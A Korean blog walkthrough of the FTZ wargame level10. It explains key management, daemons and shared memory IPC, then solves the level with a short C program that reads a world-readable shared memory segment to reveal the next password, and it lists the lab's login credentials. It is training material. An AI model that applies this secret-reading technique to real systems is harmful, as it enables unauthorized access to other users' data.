반응형

login as : level10

password : interesting to hack!


 


암복호화 키를 다른 서버에 둔 애플리케이션의 기본적인 개념

1. 외부에 노출된 웹 서버와 분리하여 독립적인 키 관리 서버에 키를 따로 보관한다.

2. 키 관리 서버에서 웹 서버로 키를 전송한다.

3. 웹 서버에서는 키를 디스크에 저장하지 않고 메모리의 특정 위치에 둔다.

4. 웹 서버에서는 데이터를 저장하고 읽을 때 암복호화 과정에서 메모리의 특정 위치에 있는 키를 읽어서 사용한다.

 

위와 같이 독립적인 키 관리 서버에 키를 둔다면, 웹 서버가 해킹 당했을 경우 데이터베이스 서버의 데이터가 유출되더라도 키는 못 가져가므로 암호화된 데이터만 가져가는 것이다.

 

일반적으로 데이터는 양방향 암호화 알고리즘을 사용해 암복호화 하는데, 양방향 암호화 알고리즘의 특징 중 하나는 암호화 할 때 쓰였던 키가 없으면 복호화를 진행할 수 없다.

 

즉, 양방향 암호화 알고리즘에서는 키 관리가 중요하다는 것이다.

 

대칭키 : 암복호화 할 때 사용하는 키가 동일한 경우

비대칭키 : 암복호화 할 때 사용하는 키가 다른 경우(개인키와 공개키가 사용된다.)

 

오늘날에는 대칭키와 비대칭키 방식을 혼용하는 PKI(Public Key Infrastructure)라고 하는 공개키 기반의 암호화 알고리즘이 사용된다고 한다.

 

독립적인 키 관리 서버를 이용한 암복호화 동작 방식

1. 키 관리 서버에서 키를 생성한다.

2. 암호화 키가 필요한 서버에서는 부팅할 때 키 관리 서버에서 암호화 키를 받아온다.

3. 받아온 암호화 키를 메모리에 올려두고 암복호화에 사용한다.

 


데몬과 프로세스 차이

 

데몬 계속 반복해서 실행되는 프로세스 httpd, telnetd, sshd 등
프로세스 한 번 실행하고 종료되는 프로세스 cat, vi, grep 등

 

데몬 프로세스

 

데몬은 보통 서버라고 보면 된다.

 

웹 서버나 텔넷 서버와 같은 경우 한 명이 접속해서 작업을 하고 접속을 끊더라도 서버 프로세스는 계속 실행 중이므로 다른 사람들이 지속적으로 접속할 수 있다.

 

이게 가능한 이유는 fork() 함수를 이용해 자식 프로세스를 생성하고, 이 자식 프로세스에서 클라이언트의 접속 처리를 한 뒤 처리가 끝나면 자식 프로세스만 종료하기 때문에 부모 프로세스는 종료되지 않으므로 계속해서 실행되는 프로세스인 것이다.

 

이런 식으로 절대 종료되지 않고 계쏙 실행되어야 하는 프로세스를 데몬이라고 하는 것이다.

 

프로세스

프로세스는 일반적인 프로그램들을 말한다.

 

windows에서 notepad.exe를 실행하면 메모장 프로그램이 사용 중인 동안에는 프로세스 목록에서 보이게 되지만, 메모장을 닫으면 작업 관리자에서 보이지 않는 일반적인 프로세스를 말하는 것이다.

 

리눅스에서 프로세스 확인하는 법

# 프로세스 확인

ps -ef | grep [서비스명]

ps -ef | grep httpd

ps -ef | grep telnetd

ps -ef | grep sshd

 


공유 메모리

 

공유 메모리는 프로세스 간에 공유해서 쓰는 메모리를 말한다.

 

본래 프로세스들은 각자 자신만의 메모리 공간을 할당받아서 사용하기 때문에 한 프로세스에서 사용하는 메모리 공간에 다른 프로세스가 침범할 수 없도록 설계되었다.

 

하지만 프로세스 간에 데이터를 공유해야 하는 필요성 때문에 IPC(InterProcess Communication)라고 하는 기법이 생겼다.

 

프로그램을 개발할 때 함수로 각종 기능을 분리하고 함수 간에 인자로 데이터를 전달하는 것과 개념상 비슷하다고 보면 된다.

 

그저 프로그램의 복잡도가 훨씬 높은 큰 프로세스 간에 데이터를 주고받는 개념이 공유 메모리라고 보면 된다.

 

공유 메모리 확인 명령어

ipcs

 


 

find / -user level11 -perm +6000 -exec ls -l {} \; 2>/dev/null

 

find 명령으로 setuid 또는 setgid가 걸린 파일을 검색해보니 아무런 파일이나 디렉토리도 출력되지 않는다.

 

 

ls -l 명령을 입력해보니 program이라는 디렉토리가 있다.

 

 

하지만 이 디렉토리는 root 계정 또는 root 그룹에 속해 있어야만 볼 수 있다.

 

cat /etc/rc.d/rc.local
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local

# setting hostname
hostname ftz.hackerschool.org

# run web server
/etc/init.d/httpd start

# open level4 port
cp /bin/ls /home/level4/tmp/backdoor
chown level4.level4 /home/level4/tmp/backdoor
/etc/init.d/xinetd restart
rm -rf /home/level4/tmp/backdoor

# run level10
/home/level10/program/level10

# get ip
dhclient eth0

 

/home/level10/program/ 디렉토리는 확인할 수 없으므로 다른 실마리를 찾기 위해

 

프로그램을 시스템이 시작될 때 자동으로 시작되도록 등록하는 설정에 해당 파일이 있을 수 있기 때문에 /etc/rc.d/rc.local 파일을 확인해보면 위와 같다.

 

마지막에서 두 번째 명령을 보면 /home/level10/program/level10 프로그램을 실행하는 것을 볼 수 있다.

 

ps -ef | grep level10

 

위의 명령어를 입력하여 프로세스 목록을 보니 level10으로 실행 중인 프로세스가 없는 것으로 보아 level10은 데몬 프로세스가 아닌 단순 프로세스인 것 같다.

 

ipcs

 

공유 메모리를 확인해보니 위와 같이 출력되었다.

 

0x00001d6a는 10진수 7530이다.

 


힌트의 내용을 바탕으로 리버싱

 

 

공유 메모리를 이용하여 대화 하는데 키 값은 7530이라고 한다.

 

그리고 해당 키 값의 권한은 666이다.

 

#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFSIZE 1024

int main()
{
    void *shareMemory = 0;
    int shareMemoryID;
    char buf[BUFSIZE];
    key_t key = 7530;
    
    // 공유 메모리를 생성하고, 해당 메모리에 값을 쓴다.
    shareMemoryID = shmget(key, BUFSIZE, IPC_CREAT | 0666);
    
    // 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(attach) 한다.
    shareMemory = shmat(shareMemoryID, 0, 0);
    
  	// 공유 메모리 공간에 있는 값을 특정 변수에 복사한다.
    memcpy(shareMemory, buf, BUFSIZE);
    printf("%s", shareMemory);
    
    // 프로세스에서 공유 메모리의 연결을 분리(Detach) 한다.
    shmdt(shareMemory);
    
    return 0;
}
// 공유 메모리를 생성하거나 이미 생성된 공유 메모리의 ID를 반환한다.
#include <sys/ipc.h>
#include <sys/shm.h>
int shdget(key_t key, int size, int shmflg);

/*
key : 공유 메모리를 읽기 위한 key 변수
size : 공유 메모리의 크기
shmflg : 공유 메모리 생성이나 사용 옵션을 지정
*/
// 생성된 공유 메모릴르 프로세스에 연결한다.
#include <sys/types.h>
#include <sys/shm.h>
void shmat(int shmid, const void * shmaddr, int shmflg);

/*
shmid : 공유 메모리를 생성할 때 만들어진 공유 메모리의 ID
shmaddr : 공유 메모리가 할당된 주소
shmflg : 공유 메모리 사용 옵션을 지정한다.
*/
// 프로세스에 연결된 공유 메모리를 분리한다.
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void * shmaddr);

/*
shmaddr : 공유 메모리가 할당된 주소이다.
*/

 

위의 힌트와 ipcs 명령의 결과를 바탕으로 리버싱한 코드이다.

 


풀이

 

key 값은 7530이고, 공유 메모리의 권한은 666이다.

 

/home/level10/tmp 디렉토리로 이동 후

 

#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFSIZE 1028

int main(void)
{
    void * shareMem = 0;
    int shareID;
    char buf[BUFSIZE];
    key_t key = 7530;
    
    shareID = shmget(key, BUFSIZE, 0666);
    
    shareMem = shmat(shareID, 0, 0);
    
    memcpy(buf, shareMem, BUFSIZE);
    printf("%s", buf);

	shmdt(shareMem);
    
    return 0;
}

 

임의의 이름을 가진 파일에 위의 코드를 작성한다.

 

gcc -o lv10_exploit lv10_exploit.c

 

gcc로 컴파일 한 후

 

./lv10_exploit

 

프로그램을 실행하면 위와 같이 패스워드가 나온다.

 

what!@#$?

 


공유 메모리 프로그래밍 사용 예시

 

프로세스 간 공유 메모리 사용이 어떻게 작동되는지 코드와 실행 결과를 보고 이해해본다.

 

cd /tmp

vi process1.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFFSIZE 1024

int main( )
{
	void *sharedMemory = (void *)0;
	int sharedMemID;
	char buf[BUFFSIZE]="3456";
	key_t keyval = 7777;
	
	/*공유 메모리를 생성한다.*/
	sharedMemID = shmget(keyval, BUFFSIZE, IPC_CREAT | 0666);
	
	/*프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach)한다 */
	sharedMemory = shmat(sharedMemID, (void *)0, 0);
	
	/*buf에 있는 값을 공유 메모리 공간에 복사한다 */
	memcpy(sharedMemory, buf, BUFFSIZE);
	printf("%s\n", sharedMemory);
	
	/*프로세스에서 공유 메모리의 연결을 분리(Detach)한다 */
	shmdt(sharedMemory);
	
	return 0;
}

 

cd /tmp

vi process2.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFFSIZE 1024

int main( )
{
	void * sharedMemory = (void *)0;
	int sharedMemID;
	char buf[BUFFSIZE];
	key_t keyval = 7777;
	
	/* 생성되어 있는 공유 메모리의 ID를 읽어온다 */
	sharedMemID = shmget(keyval, BUFFSIZE, 0666);
	
	/* 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach)한다 */
	sharedMemory = shmat(sharedMemID, (void *)0, 0);
	
	/* 공유 메모리 공간에 있는 값을 특정 변수에 복사한다 */
	memcpy(buf, sharedMemory, BUFFSIZE);
	if(strcmp(buf, "3456") == 0)
		printf("it's %s\n", buf);
	else
		printf("key is wrong!!!\n");
	
	/* 프로세스에서 공유 메모리의 연결을 분리(Detach)한다 */
	shmdt(sharedMemory);
	
	return 0;
}

 

 

gcc -o process1 process1.c
gcc -o process2 process2.c

 

 

 

위의 결과를 보면 공유 메모리에 올린 문자열을 읽어와서 출력했다.

 

동일한 프로세스 내에서라면 함수를 호출할 때 인자로 전달할 수 있는 데이터이지만, 서로 다른 프로세스이다 보니 이런 방법을 사용하는 것이다.

반응형

+ Recent posts